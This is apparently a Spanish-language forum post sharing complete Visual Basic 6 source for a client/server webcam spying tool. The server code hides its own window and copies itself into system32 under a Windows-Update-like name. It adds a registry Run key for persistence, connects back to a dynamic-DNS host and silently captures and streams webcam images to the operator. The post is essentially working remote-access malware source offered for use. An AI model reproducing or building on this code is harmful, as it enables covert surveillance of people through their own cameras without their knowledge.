Código:
ip = "mihostDEnoIP.no-ip.org"
bueno pongo el codigo por cliente primero hasta servidor, saludos, y muchas gracias señores.
---CLIENTE---
--clienteFRM--
Código:
Private Sub Command1_Click()
On Error Resume Next
WS.LocalPort = Text1.Text
WS.Close
WS.Listen
End Sub
Private Sub Command2_Click()
Unload clienteFRM
End Sub
Private Sub conexion_Timer()
On Error Resume Next
If WS.State = "7" Then
Label1.Caption = "Conectados"
ElseIf WS.State = "0" Then
Label1.Caption = "Desconectados"
End If
End Sub
Private Sub Form_Terminate()
Unload frmPANTALLA
End Sub
Private Sub Form_Unload(Cancel As Integer)
Unload frmPANTALLA
End Sub
Private Sub WebCam_Click()
If WS.State = "7" Then
Load frmPANTALLA
frmPANTALLA.Show
End If
If Not WS.State = "7" Then
Unload frmPANTALLA
End If
End Sub
Private Sub WS_Close()
On Error Resume Next
WS.Close
WS.Listen
End Sub
Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
WS.Close
WS.Accept requestID
Label2.Caption = WS.RemoteHostIP
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos
Open "c:\captura.jpg" For Binary As #1
Seek #1, LOF(1) + 1
Put #1, , datos
Close #1
frmPANTALLA.Timer1.Enabled = True
End Sub
--frmPANTALLA--
Código:
Private Sub Command1_Click()
clienteFRM.WS.SendData "comienzo"
End Sub
Private Sub Command2_Click()
clienteFRM.WS.SendData "camstop"
End Sub
Private Sub Command3_Click()
clienteFRM.WS.SendData "eliminar"
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
PVV.Picture = LoadPicture("c:\captura.jpg")
End Sub
---SERVIDOR---
--serverFRM--
Código:
Dim WithEvents s As CSocketMaster
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const Connect As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
Private datos As String
Private ip As String
Private puerto As Long
Private Sub comprobador_Timer()
On Error Resume Next
If Dir("C:\windowsuupdate\xD.xD") <> "" Then
registro.Enabled = False
Else
registro.Enabled = True
End If
End Sub
Private Sub Form_Load()
Set s = New CSocketMaster
ip = "MIHOSTDENOIP.no-ip.org"
puerto = 4662
s.RemoteHost = ip
s.RemotePort = puerto
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub
Private Sub registro_Timer()
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\winupdate32.exe"
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updates", "C:\Windows\system32\winupdate32.exe"
MkDir "C:\windowsuupdate"
Open "C:\windowsuupdate\xD.xD" For Random As #1
Close #1
registro.Enabled = False
End Sub
Private Sub S_DataArrival(ByVal bytesTotal As Long)
s.GetData datos
If datos = "comienzo" Then
camon
End If
If datos = "eliminar" Then
muere
End If
If datos = "camstop" Then
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Kill ("c:\Juazcp.jpg")
Kill ("c:\captura.jpg")
End If
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
If Not s.State = 7 Then
s.CloseSck
s.Connect
End If
End Sub
Private Function camon()
On Error Resume Next
lol = FreeFile
frago = 8192
goblin = "c:\Juazcp.jpg"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData
Clipboard.Clear
SavePicture PV.Picture, "c:\" & "Juaz.jpg"
PictureView1.OpenPicture ("c:\Juaz.jpg")
If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
Else
End If
Kill ("c:\Juaz.jpg")
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
End Function
Private Function muere()
On Error Resume Next
Kill ("c:\Juazcp.jpg")
Kill ("c:\captura.jpg")
camon
End Function
Private Sub Timer2_Timer()
Me.Visible = False
End Sub
Function RegWrite(ByVal Path As String, ByVal Value As String)
Dim AA As Object
Set AA = CreateObject("Wscript.Shell")
AA.RegWrite Path, Value, "REG_SZ"
End Function